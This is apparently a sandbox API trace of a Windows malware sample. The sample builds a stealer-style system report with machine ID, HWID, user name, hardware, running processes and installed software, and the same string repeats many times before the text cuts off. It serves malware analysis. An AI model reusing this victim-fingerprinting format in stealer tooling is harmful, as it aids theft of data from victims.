[984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français"
[0054.964] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français ["
[0054.964] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 